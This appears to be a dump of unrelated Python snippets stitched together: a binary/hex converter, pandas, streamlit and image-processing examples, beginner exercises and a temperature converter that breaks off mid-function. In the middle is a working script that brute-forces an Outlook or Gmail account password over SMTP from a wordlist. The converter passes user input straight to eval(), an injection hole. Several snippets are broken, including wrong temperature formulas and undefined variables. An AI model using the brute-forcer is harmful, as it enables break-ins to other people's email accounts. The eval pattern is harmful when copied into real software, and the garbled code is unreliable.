    list_of_binary_portions.insert(0, "0b")
    return "".join(list_of_binary_portions)

import math

def binary_to_hex_decimalversion(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    splitting_iterations = math.floor(len(requested_conversion) / 4)
    split_binary_product = []
    for split in range(splitting_iterations):
        split_binary_product.append(requested_conversion[:4])
        requested_conversion = requested_conversion[4:]
    if len(requested_conversion) > 0:
        split_binary_product.append(requested_conversion)
    index_of_product = 0
    for i in range(len(split_binary_product)):
        split_binary_product[index_of_product] = split_binary_product[index_of_product][::-1]
        index_of_product += 1
    split_binary_product.reverse()
    index_of_product = 0
    for i in range(len(split_binary_product)):
        binary_to_decimal_special(split_binary_product[index_of_product])
        index_of_product += 1
    index_of_product = 0
    split_hex_products = []
    for i in range(len(split_binary_product)):
        split_hex_products.append(int(split_binary_product[index_of_product], 2))
        index_of_product += 1
    
    for portion_num in range(len(split_hex_products)):
        if split_hex_products[portion_num] == 10:
            split_hex_products[portion_num] = 'a'
        elif split_hex_products[portion_num] == 11:
            split_hex_products[portion_num] = 'b'
        elif split_hex_products[portion_num] == 12:
            split_hex_products[portion_num] = 'c'
        elif split_hex_products[portion_num] == 13:
            split_hex_products[portion_num] = 'd'
        elif split_hex_products[portion_num] == 14:
            split_hex_products[portion_num] = 'e'
        elif split_hex_products[portion_num] == 15:
            split_hex_products[portion_num] = 'f'
        else:
            split_hex_products[portion_num] = split_hex_products[portion_num]
    split_hex_products.insert(0, '0x')
    print(*split_hex_products, sep="")
    
# The function below is a copy of the original but for the purpose of the binary_to_hex_stringversion function.
def binary_to_decimal_special_v2(requested_conversion):
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    return decimal_num
    
# The function below is a copy of the original but for the purpose of the binary_to_hex_stringversion function.
def binary_to_hex_decimalversion_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    splitting_iterations = math.floor(len(requested_conversion) / 4)
    split_binary_product = []
    for split in range(splitting_iterations):
        split_binary_product.append(requested_conversion[:4])
        requested_conversion = requested_conversion[4:]
    if len(requested_conversion) > 0:
        split_binary_product.append(requested_conversion)
    index_of_product = 0
    for i in range(len(split_binary_product)):
        split_binary_product[index_of_product] = split_binary_product[index_of_product][::-1]
        index_of_product += 1
    split_binary_product.reverse()
    index_of_product = 0
    for i in range(len(split_binary_product)):
        binary_to_decimal_special_v2(split_binary_product[index_of_product])
        index_of_product += 1
    index_of_product = 0
    split_hex_products = []
    for i in range(len(split_binary_product)):
        split_hex_products.append(int(split_binary_product[index_of_product], 2))
        index_of_product += 1
    
    for portion_num in range(len(split_hex_products)):
        if split_hex_products[portion_num] == 10:
            split_hex_products[portion_num] = 'a'
        elif split_hex_products[portion_num] == 11:
            split_hex_products[portion_num] = 'b'
        elif split_hex_products[portion_num] == 12:
            split_hex_products[portion_num] = 'c'
        elif split_hex_products[portion_num] == 13:
            split_hex_products[portion_num] = 'd'
        elif split_hex_products[portion_num] == 14:
            split_hex_products[portion_num] = 'e'
        elif split_hex_products[portion_num] == 15:
            split_hex_products[portion_num] = 'f'
        else:
            split_hex_products[portion_num] = split_hex_products[portion_num]
    split_hex_products.insert(0, '0x')
    for product in range(len(split_hex_products)):
        split_hex_products[product] = str(split_hex_products[product])
    return "".join(split_hex_products)

def hex_to_binary_stringversion(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_binary_string = []
    for char_hex_set in requested_conversion:
        binary_converted = hex_to_binary_decimalversion_special(char_hex_set)
        list_of_chars_in_binary_string.append(binary_converted)
    print(*list_of_chars_in_binary_string, sep=" ")

def binary_to_hex_stringversion(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_hex_string = []
    for char_binary_set in requested_conversion:
        hex_converted = binary_to_hex_decimalversion_special(char_binary_set)
        list_of_chars_in_hex_string.append(hex_converted)
    print(*list_of_chars_in_hex_string, sep=" ")

import sys

def MainMenu():
    while True:
      print("Welcome to the compoooter decipherer. This program can meet all your needs regarding the languages of binary, hexadecimal, and regular decimal/string.\n\n")  
      
      print("""So, in terms of conversions, the following methods are available:\n
    string_to_binary → format exemplar: "Hi"
    decimal_to_binary → format exemplar: 10
    decimal_to_hex → format exemplar: 10
    string_to_hex → format exemplar: "Hi"
    binary_to_decimal → format exemplar: "0b1010"
    binary_to_string → format exemplar: "0b01001000 0b01101001"
    hex_to_decimal → format exemplar: "0xa"
    hex_to_string → format exemplar: "4869"
    hex_to_binary_decimalversion → format exemplar: "0xa"
    hex_to_binary_stringversion → format exemplar: "4869"
    binary_to_hex_decimalversion → format exemplar: "0b1010"
    binary_to_hex_stringversion → format exemplar: "0b01001000 0b01101001"\n""")

      print("\nMake sure to go through all of these, and figure out which ones you want to use. In the exemplars, any time a number is involved in conversion, it is the number '10'. Any time a string is involved in conversion, it is the string 'Hi'. So, let's get to converting!\n\n")

      print("_"*10 + "\n\n")
        
      UseConversion()
        
      print("_"*10 + "\n")
      confirmation = str(input("Would you like to perform another conversion?\n\nType 'Y' for if you would like to go back to the menu, or 'N' if you want to terminate the program: "))
      if confirmation.upper() == 'Y':
          print("\nOkay! Redirecting you back to the beginning.\n\n")
          continue
      elif confirmation.upper() == 'N':
          print("\nOkay! Terminating the program.")
          sys.exit()
      else:
        print("\nInvalid input given. Terminating program anyway.")
        sys.exit()

def UseConversion():
    method = str(input("Above was given a list of the different conversion functions which are usable. So, what method would you like to use?\n\nType the function exactly how it said in the list here:\n\n"))
    print("")
    parameters = str(input("All right, so what are you wanting to convert? Type your conversion request in the appropriate format needed here:\n\n"))
    try:
      print("\nVery well then. The conversion has been performed, and your converted request should be below (if it succeeded):\n")
      eval(method + "(" + parameters + ")")
      print("\n\nGo ahead and use that for whatever you need to. Or, use the converter again with this converted product to convert it to something else!\n")
    except NameError:
      print("\nIt seems you spelt the name of the function incorrectly. Go back to the list above, and type out the function you want to use exactly.\n\n")
      UseConversion()
    except TypeError:
      print("\nIt seems you provided an incorrect input to the conversion. Make sure you are providing the exact format you specified with the function you are trying to use. Also, please go back and refer to the format exemplars in the list above to see how each input for each function should be formatted.\n\n")
      UseConversion()

# Run the program
MainMenu()


# Program that generates a random number:
# Use it to flex or test the limits.
"""import random

num_of_digits = int(input())
randomly_generated_num = []

for iteration in range(num_of_digits+1):
    randomly_generated_num.append(random.randint(0, 9))

print(*randomly_generated_num, sep="")"""
def parsed_df(**kwargs):
    # First define the format and then define the function
    timeFormat = "%Y-%m-%d %H:%M:%S UTC"
    # This function will iterate over each string in a 1-d array
    # and use Pandas' implementation of strptime to convert the string into a datetime object.
    parseTime = lambda x: datetime.strptime(x, timeFormat)
    return pd.read_csv('/path/to/file.csv',parse_dates=['time'], date_parser=parseTime).set_index('time') 
import plotly.express as px
import pandas as pd

# Sample DataFrame with three columns: "INSTANCE", "YMD", and "target_count"
df = pd.DataFrame({
    "INSTANCE": ["A", "B", "C", "D", "E"],
    "YMD": ["2021-01-01", "2021-01-02", "2021-01-03", "2021-01-04", "2021-01-05"],
    "target_count": [10, 20, 30, 40, 50]
})
df["YMD"] = pd.to_datetime(df["YMD"])

# Create a new column "weekend" to indicate whether the date is on a weekend
df["weekend"] = df["YMD"].dt.dayofweek >= 5

# Create the bar graph
fig = px.bar(df, x="INSTANCE", y="target_count", color="weekend")

# Show the graph
fig.show()
# variation of https://python-forum.io/thread-21314.html

table = soup.find_all('table')[2]		# we receive a list of tables
table_body = table.find('tbody')

data = [] 
rows = table_body.find_all('tr')
for row in rows:
    cols = row.find_all(['td', 'th'])	# consider rows AND headers 
    cols = [ele for ele in cols]		# get html tags, not .text 
    data.append([ele for ele in cols if ele])

# directly via pandas
import pandas as pd
dfs = pd.read_html(content[1]['body'])				#list of
dfs[0].columns = ['key', 'value']					# set column names
dfs[0]#[dfs[0].key == 'Status'].iloc[0]['value']	# read cell value
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
def check_permission(user):
    def decorator(func):
        def wrapper(*args, **kwargs):
            if user["access_level"] == "admin":
                return func(*args, **kwargs)

            raise Exception("No way!!!")

        return wrapper

    return decorator


user = {"username": "jose", "access_level": "admin"}


@check_permission(user)
def get_admin_pass():
    return "1234"


print(get_admin_pass())
from wand.image import Image
import numpy as np
import cv2

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(0.5)
    img.save(filename='zelda1_implode.jpg')
    # convert to opencv/numpy array format
    img_implode_opencv = np.array(img)
    img_implode_opencv = cv2.cvtColor(img_implode_opencv, cv2.COLOR_RGB2BGR)

with Image(filename='zelda1.jpg') as img:
    img.virtual_pixel = 'black'
    img.implode(-0.5 )
    img.save(filename='zelda1_explode.jpg')
    # convert to opencv/numpy array format
    img_explode_opencv = np.array(img)
    img_explode_opencv = cv2.cvtColor(img_explode_opencv, cv2.COLOR_RGB2BGR)

# display result with opencv
cv2.imshow("IMPLODE", img_implode_opencv)
cv2.imshow("EXPLODE", img_explode_opencv)
cv2.waitKey(0)
# Import library from Image
from wand.image import Image
 
# Import the image
with Image(filename ='../geeksforgeeks.png') as image:
    # Clone the image in order to process
    with image.clone() as posterize:
        # Invoke posterize function
        posterize.posterize(2, 'no')
        # Save the image
        posterize.save(filename ='posterize1.jpg')
from wand.image import Image
from wand.api import library

with Image(filename='wizard:') as img:
    # Grab image size
    cols, rows = img.size
    # Define our target location ... say 1/3rd, by 1/5th
    tx, ty = int(cols * 0.33), int(rows * 0.2)
    # Find middle of the image.
    mx, my = cols // 2, rows // 2
    # Roll target coord into middle
    ok = library.MagickRollImage(img.wand, mx-tx, my-ty)
    if not ok:
        img.raise_exception()
    # Implode
    img.implode(0.5)
    # Roll middle back into place.
    ok = library.MagickRollImage(img.wand, mx+tx, my+ty)
    if not ok:
        img.raise_exception()
    # done
    img.save(filename='output.png')
# problem5:
# store a number as a password:
# list must be outside the loop:
import time
guesses = []
password= '0000'
while True:
    # to exit the program
    try:
        # Take user input:
        gussed = input("Gusse a password that consists from 4 numbers:  ")
        # convert to string:
        gussed = str(gussed)

        # conditions: 
        if gussed == password:
            print("Password correct!")
            # leave the loop
            break

        else:
            print("Password incorrect")
            guesses.append(gussed)
            if len(guesses)>3:
                print("You are banned because spamming, please try again after 3s. ")
                guesses = []
                time.sleep(3)
            else:
                guesses.append(gussed)

            
        print(guesses)
        #guesses.append(gussed)
        


    except KeyboardInterrupt:
        print("exist")
# problem 6:
"""
Write a program that:

Asks the user to input two different numbers and stores them in two variables
Outputs the biggest number entered

"""
while True:
    try:
        num1=input("Please enter the first number: ")
        num2=input("Please enter the scond number:")
        num1=int(num1)
        num2=int(num2)
        if num1 == num2:
            print("Please write different values>")

        else:
            if num1>num2:
                print(num1)
                break
            elif num2>num1:
                print(num2)
                break
        
    except ValueError:
        print("Conversion faild")
from dataclasses import dataclass, InitVar
from typing import Optional

@dataclass
class CampingEquipment:
    knife: bool
    fork: bool
    missing_flask_size: InitVar[Optional[int]] = None

    def __post_init__(self, missing_flask_size):
        if missing_flask_size is not None:
            self.missing_flask_size = missing_flask_size
""" Look for duplicate materials and let user choose between 2 pulled values from the same material

    Arguments:
       pandas_database {pandas object} -- original items database, pandas
       selected_material {string} -- selected items from dropdown input
       readable_excel_database {Excel object} -- Excel object to be able to read from Excel sheet
       data_column {string} -- column name to extract value for selected item

    Returns:
       list -- return list of extracted values from Excel
"""
    
# find the "duplicate" items
item_matches_indices = [j for j, x in enumerate(list(pandas_database[0])) if x == selected_item]

# extract and save the respective values
matched_items_values = []
for index in material_matches_indices:
   matched_items_values.append(readable_excel_database[data_column][index])
import streamlit as st

# Create item
custom_item = form_cols[1].text_input(label="Custom item")
custom_item_submit = form_cols[1].button("Add to database", key="new_item_input_case_" + str(case_n) + "_layer_" + str(index))
    
# if saving the custom item
if custom_material_submit:
   st.session_state["custom_items_database_active"].insert_rows(idx=2)       # add a new row before inserting custom item
   st.session_state["custom_items_database_active"].cell(row=2, column=1, value=custom_item)       # insert custom item into new row (INSERT AND ROW SHOULD BE SAME VALUE)
   
   st.session_state["custom_materials_database_write"].save("/path/to/Excel.xlsx")       # save the file to reflect the changes next time the database is loaded
   # get_custom_database()

   # TODO make global function?  Attempt to show changes after adding
   # custom_item_panda = pd.DataFrame([custom_item])    # to see the changes get reflected in the form
   # all_custom_item = custom_item_panda.append(all_item_list_pandas, ignore_index=True)
   # materials_choices = customization_choices.append(all_custom_materials, ignore_index=True)

   form_cols[1].write("\"" + str(custom_item) + "\" has been added to the database.  Please select a different item to see the changes")



# Edit item
# First check if selected material is custom-made or not
if orig_material_name in st.session_state["orig_item_prefill_index"]:
   form_cols[1].info("Sorry, you can only change custom-made items.")
elif orig_material_name in st.session_state["custom_item_prefill_index"]:
   to_change = form_cols[1].text_input(label="Edit material name", value=orig_item_name)

   if form_cols[1].button("Save changes"):
         st.session_state["custom_item_database_active"].cell(row=st.session_state["custom_item_prefill_index"][orig_item_name]+2, column=1, value=to_change)
      st.session_state["custom_item_database_write"].save(st.session_state["custom_database_path"])
            form_cols[1].info("\"" + to_change + "\" has been saved to the database.  Please select a different item to see the changes reflect.")

      # TODO push new changes to form for immediate change view
      #         item_table_pandas = pd.DataFrame(item_table_active.values)
      #         custom_item_list = customize_options.append(item_table_pandas, ignore_index=True)
import openpyxl
import string

ses["writeable_excel"] = openpyxl.load_workbook("/path/to/Excel.xlsx")
ses["writeable_excel_active"] = ses["writeable_excel"].active

col1 = "Column 1"
col3 = "Column 3"
col6 = "Column 6"

excel_cols = list(string.ascii_uppercase)
database_cols = [col1, col3, col6]

# If copying col names fr a different Excel, make sure they are up-to-date
for col in range(0, len(database_cols)):
   ses["writeable_excel_active"][excel_cols[col] + str(1)].value = database_cols[col]	# .strip(), if some cells have whitespace, take it out so that it'll show as NaN

ses["writeable_excel"].save("/path/to/Excel.xlsx")
ses["writeable_excel_read"] = pd.read_excel("/path/to/Excel.xlsx", engine="openpyxl")   # read written Excel
import streamlit as st

# Function to create a slider with an edit bar. The name of the slider must be unique on the page.
def createSliderWithEdit(container, initialValue, sliderName):
    val = initialValue

    # session_state is a global object, associated with streamlit, not with the container
    if sliderName in st.session_state:
        val = st.session_state[sliderName]
    nb = container.number_input(label=sliderName, value=val)

    # When you add a Key to the slider it will automatically create a session state associated with it.
    v = container.number_input(label='', value=nb, key=sliderName)
    # v = container.slider(label='', value=nb, key=sliderName)

createSliderWithEdit(st, 0, 'MyFavoriteInput')
createSliderWithEdit(st, 0, 'MySecondFavoriteInput')

col1, col2 = st.columns(2)

createSliderWithEdit(col1, 0, 'FirstInputInAColumn')
createSliderWithEdit(col2, 0, 'SecondInputInAColumn')
import streamlit as st



#app.py
import streamlit as st
import multipage_streamlit as mt
import page_1, page_2, page_3_args

st.write("Main page")
num_pages = 3
# pages = ["Page 1", "Page 2"]
pages = []
for i in range(1, num_pages + 1):
    pages.append("Page 3_" + str(i))
pages.insert(0, "Page 1")
pages.insert(1, "Page 2")


# Nav radios
page = st.radio(label="Welcome, please select a calculator:", options=pages, horizontal=True)
# st.write('<style>div.row-widget.stRadio > div{flex-direction:row;}</style>', unsafe_allow_html=True)
# st.markdown("---")

app = mt.MultiPage()
# app.add("Page a1", page_1.app)  # no parentheses or else it will run!
# app.add("Page b2", page_2.app)  # ^ditto
for i in range(1, num_pages+1):
    app.add("Page 3." + str(i), page_3_args.app)
# app.add("Page 1", page_1.app)
# app.add("Page 2", page_2.app)

# app.run_selectbox()

# Nav between case pages
if page == pages[0]: page_1.app()
elif page == pages[1]: page_2.app()
elif page == pages[2]: page_3_args.app(1)
elif page == pages[3]: page_3_args.app(2)
elif page == pages[4]: page_3_args.app(3)

# Session states
st.write(st.session_state)
# st.write(st.session_state["_state_"])
# st.write(st.session_state["_state_"]["page_1:x"])
# st.write(st.session_state["_state_"].keys())
# st.write(st.session_state["_state_"].values())



# page_1.py
import streamlit as st
from multipage_streamlit import State
# import page_1, page_2

def app():
    # state = State("sharing")
    # state = State(__name__)
    
    st.header("Page 1")

    # # if "page_1" not in st.session_state:
    # #     st.session_state["page_1"] = 9

    # # p1_text = st.number_input(label="Sharing state", value=st.session_state["page_1"], key="page_1")
    # p1_text = st.number_input(label="Sharing state", key=state("x", 9))
    # st.write(st.session_state[__name__ + ":x"])
    # st.number_input(label="Testing state", value=st.session_state[__name__ + ":x"])
    # # st.number_input(label="Testing state", key=st.session_state["_state_"][__name__ + ":x"])
    # st.write("\_state_")
    # # st.number_input(label="Testing state", value=st.session_state[__name__ + ":x"], key=state("x", 3))
    
    st.number_input(label="Testing shared state across pages page 1", key="testing")

    # # st.write(st.session_state["page_1"])
    # # st.write(st.session_state["page_2"])
    
    # state.save()

    return



# page_2.py
import streamlit as st
from multipage_streamlit import State

def app():
    # state = State("sharing")
    # state = State(__name__)
    
    st.header("Page 2")

    # # p1_text = st.number_input(label="Sharing state", value=st.session_state["page_1"], key="page_1")
    # p2_text = st.number_input(label="Indiv state", key=state("x", 1))
    # # p1_text = st.number_input(label="Sharing state", key=st.session_state[["_state_"]["page_1:x"]])
    
    # # st.write(__name__ + ":x")
    # # st.write(st.session_state[__name__ + ":x"])
    # # st.write(st.session_state)
    # st.write(state("x", 1))

    # # st.write(st.session_state["page_1"])
    
    st.number_input(label="Testing shared state across pages page 2", key="testing")


    # # if "page_2" not in st.session_state:
    # #     st.session_state["page_2"] = 12

    # # p2_text = st.number_input(label="Own state", value=st.session_state["page_2"], key="page_2")

    # # st.write(st.session_state["page_2"])
    
    # state.save()

    return



import streamlit as st
from multipage_streamlit import State

def app(case_x):
    state = State(__name__)
    
    st.header("Page 3")

    p3_text = st.number_input(label="Indiv state", key=state(str(case_x), 20 + case_x))
    p3_selbox = st.selectbox(label="Indiv state", options=[21, 22, 23], key=state(str(case_x) + "_select", 20 + case_x))
    
    state.save()

    return
def generate_digit_power_sequence(start,limit):
    # step1: Validate the provided parameter values
    if type(start)==int:
        pass
    else:
        return None
    if type (limit)== int:
        pass
    else:
        return None

    if not(100 <=start<=999):
        return None
    if not (limit>5):
        return None
    # step2: Generate the specified sequence
    # step3: return the generated sequence

    sequence = []
    cubic = 0
    start = str(start)
    for j in (limit):
        cubic = 0
        for i in (start):
            # define a new variable
            value = int(i)
            cubic=value**3 + cubic
        
        start = str(cubic)
        sequence.append(cubic)
    
    return sequence
generate_digit_power_sequence(213,6)
# generate a function:
def generate_cubed_sequence():
    # Step 1: Obtain and Validate Inputs
    # I should put the loop at the beginning of the code
    while True:
        # define the variable inside the loop itself
        maxValue = input("Enter an integer that represents the max value: ")
        try:
            # if the conversion succseed, check if the value >=1
            maxValue = int(maxValue)
            if maxValue>=1:
                print(f"Generating sequence with max value {maxValue}")
                # if everything follows all conditions and I want to leave the loop
                break
            # if conversion succeed but value<1:
            else: 
                print("Invalid Input")
        except ValueError:
            print("Invalid Input")
            pass
    # Step2: Generate the sequence 
    sequence = []
    x =1
    cubed = x**3

    while cubed <= maxValue:
        sequence.append(cubed)
        x+=1
        cubed=x**3
    return sequence
print(generate_cubed_sequence()) 
def generate_magic_sequence(start,increment,limit):
    # 1. validation:
    # Start:
    try:
        start = int(str(start))
        if not(start>=1):
            print("start ia not in range")
            return None
        print("Good start value.")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
    
        
    # increment:
    try:
        increment = int(str(increment))
        if not(1<= increment <= 10):
            # To understand what's going on
            print("increment is not in range")
            return None
        print("Good increment value")
            
    except ValueError:
        # To understand what's going on
        print("conversion faild")
        return None
    
         
    # limit:
    try:
        limit = int(str(limit))
        if limit<=3 or limit >=99:
            print("limit is not in range")
            return None
        print("Good limit value")
        
    except ValueError:
        print("Conversion faild")
        return None
    
         
    # 2. Generate a sequence:
    sequence = []
    # create the first value here!
    sequence.append(start**5)

    # create a loop within a certaian condition:
    while len(sequence) < limit:
        # define a variable that contains the new values
        # last digit: (sequence[-1])[-1]
        nextValue = (int(str(sequence[-1])[-1])+increment)**5
        #nextValue= (int(str(sequence[-1])[-1] + increment))**5
        sequence.append(nextValue)
    return sequence

result = generate_magic_sequence(3,2,4)

print(result)
# Task1
def main():
    #thisfunction will allow the user to choose which function to run:
    # 1. print options out:
    print("Options: ")
    print("Temperature = convert between two different temperature units")
    print("Length = convert between two different length units")
    print("Mass = convert between two different mass units")
    print("Area = convert between two different area units")
    option = input("Select an option or control C to exit the program: ")
    option=option.lower()
    # to allow user repeat:
    while True:
        # to allow user to quit:
        try: 

            if option == 'temperature':
                temperature_convert()
            elif option == 'length':
                length_convert()
            elif option == 'mass':
                mass_convert()
            elif option=='area':
                area_convrt()
            else:
                print('Invalid Inputs')
        except KeyboardInterrupt:
            print("\nExiting program\n")
        break


def temperature_convert():
    #temperature = ['Kelvin', 'Celsius','Fahrenheit', 'Rankine', 'Delisle']
    validUnit=['C', 'K', 'F', 'R','D']
    temperature = {'K':'Kelvin','C':'Celsius','F':'Fahrenheit','R':'Rankine',  'D':'Delisle'}
    # print(temperature)
    # print(validUnit)
    convertFrom = input("Enter unit to convert from (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    converTo = input("Enter unit to convert to (C = Celcius, K = Kelvin, F = Fahrenheit, R = Rankine, D = Delisle): ")
    value = input("Enter temperature value to convert: ")
    while True:
        try:
            convertFrom = str(convertFrom)
            converTo = str(converTo)
            value = float(value)
            convertFrom = convertFrom.upper()
            converTo = converTo.upper()
            if convertFrom not in validUnit or converTo not in validUnit:
                print("Invalid Unit! ")
            else: 
                break
        except ValueError:
            print("Conversion faild")
        """
                # From Kelvin:
        if convertFrom == 'Kelvin' and converTo == 'Celsius':
            newValue = value-273.15
            print(f"Temperature converted from {temperature[0]}K to {temperature[1]}°C is {round(newValue,2)}°C")
        elif convertFrom == 'Kelvin' and converTo == 'Fahrenheit':
            newValue= (((value-273.15)**9)/5)+32
            print(f"Temperature converted from {temperature[0]}K to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Kelvin' and converTo =='Rankine':
            newValue = (value*9)/5
            print(f"Temperature converted from {temperature[0]}K to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Kelvin' and converTo =='Delisle':
            newValue = ((373.15 - value)*3)/2
            print(f"Temperature converted from {temperature[0]}K to {temperature[4]}°D is {round(newValue,2)}°D")


        # From Celsius 
        
        elif convertFrom =='Celsius' and converTo=='Kelvin':
            newValue= value+273.15
            print(f"Temperature converted from {temperature[1]}°C to {temperature[0]}K is {round(newValue,2)}K")
        elif convertFrom == 'Celsius' and converTo == 'Fahrenheit':
            newValue = (value*9/5)+3**2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[2]}°F is {round(newValue,2)}°F")
        elif convertFrom == 'Celsius' and converTo =='Rankine':
            newValue = (value*9/5)+491.67
            print(f"Temperature converted from {temperature[1]}°C to {temperature[3]}°R is {round(newValue,2)}°R")
        elif convertFrom == 'Celsius' and converTo == temperature[4]:
            newValue = ((100-value)*3)/2
            print(f"Temperature converted from {temperature[1]}°C to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Fahrenheit:
        elif convertFrom == temperature [2] and converTo =='Kelvin':
            newValue = (value+459.67)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == temperature [2] and converTo =='Celsius':
            newValue = (value -32)*5/9
            print(f"Temperature converted from {temperature[1]}°F to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == temperature [2] and converTo =='Rankine':
            newValue = value + 459.67
            print(f"Temperature converted from {temperature[1]}°F to {temperature[3]}°R  is {round(newValue,2)}°R ")
        elif convertFrom == temperature [2] and converTo == 'Delisle':
            newValue = (212 -value) * 5/6
            print(f"Temperature converted from {temperature[1]}°F to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # from Rankine (°R):
        elif convertFrom == 'Rankine' and converTo == 'Kelvin':
            newValue = value/1.8
            print(f"Temperature converted from {temperature[3]}°R to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Rankine' and converTo =='Celsius':
            newValue = (value-491.67)*5/9
            print(f"Temperature converted from {temperature[3]}°R to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Rankine' and converTo =='Fahrenheit':
            newValue = value-459.67
            print(f"Temperature converted from {temperature[3]}°R to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Rankine' and converTo == 'Delisle':
            newValue = (value-491.67) * 0.83333
            print(f"Temperature converted from {temperature[3]}°R to {temperature[4]}°D  is {round(newValue,2)}°D ")
        
        # FROM D:
        elif convertFrom == 'Delisle' and converTo =='Kelvin':
            newValue = (373.15-value)*2/3
            print(f"Temperature converted from {temperature[4]}°D to {temperature[0]}K  is {round(newValue,2)}K")
        elif convertFrom == 'Delisle' and converTo == 'Celsius':
            newValue = (value+100)/1.5000
            print(f"Temperature converted from {temperature[4]}°D to {temperature[1]}°C  is {round(newValue,2)}°C ")
        elif convertFrom == 'Delisle' and converTo =='Fahrenheit':
            newValue = ((value+100)*1.2000)+32
            print(f"Temperature converted from {temperature[4]}°D to {temperature[2]}°F is {round(newValue,2)}°F ")
        elif convertFrom == 'Delisle' and converTo == 'Rankine':
            newValue = ((value+100)*1.2000 )+491.67
            print(f"Temperature converted from {temperature[4]}°D to {temperature[3]}°R  is {round(newValue,2)}°D ")
        else: 
            print("Invalid inputs. ")
        """

    # From Kelvin:
    if convertFrom == 'K' and converTo == 'C':
        newValue = value-273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °C is {round(newValue,2)}°C")
    elif convertFrom == 'K' and converTo == 'F':
        newValue= (((value-273.15)**9)/5)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'K' and converTo =='R':
        newValue = (value*9)/5
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °R is {round(newValue,2)}°R")
    elif convertFrom == 'K' and converTo =='D':
        newValue = ((373.15 - value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) K to ({temperature[converTo]}) °D is {round(newValue,2)}°D")


    # From Celsius 
        
    elif convertFrom =='C' and converTo=='K':
        newValue= value+273.15
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]} K is {round(newValue,2)}K")
    elif convertFrom == 'C' and converTo == 'F':
        newValue = (value*9/5)+3**2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °F is {round(newValue,2)}°F")
    elif convertFrom == 'C' and converTo =='R':
        newValue = (value*9/5)+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to {temperature[converTo]}°R is {round(newValue,2)}°R")
    elif convertFrom == 'C' and converTo == 'D':
        newValue = ((100-value)*3)/2
        print(f"Temperature converted from ({temperature[convertFrom]}) °C to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # from Fahrenheit:
    elif convertFrom == 'F'and converTo =='K':
        newValue = (value+459.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'F' and converTo =='C':
        newValue = (value -32)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'F' and converTo =='R':
        newValue = value + 459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °F to ({temperature[converTo]}) °R  is {round(newValue,2)}°R ")
    elif convertFrom == 'F' and converTo == 'D':
        newValue = (212 -value) * 5/6
        print(f"Temperature converted from {temperature[convertFrom]} °F to {temperature[converTo]} °D  is {round(newValue,2)}°D ")
        
    # from Rankine (°R):
    elif convertFrom == 'R' and converTo == 'K':
        newValue = value/1.8
        print(f"Temperature converted from {temperature[convertFrom]} °R to {temperature[converTo]} K  is {round(newValue,2)}K")
    elif convertFrom == 'R' and converTo =='C':
        newValue = (value-491.67)*5/9
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'R' and converTo =='F':
        newValue = value-459.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'R' and converTo == 'D':
        newValue = (value-491.67) * 0.83333
        print(f"Temperature converted from ({temperature[convertFrom]}) °R to ({temperature[converTo]}) °D  is {round(newValue,2)}°D ")
        
    # From D:
    elif convertFrom == 'D' and converTo =='K':
        newValue = (373.15-value)*2/3
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) K  is {round(newValue,2)}K")
    elif convertFrom == 'D' and converTo == 'C':
        newValue = (value+100)/1.5000
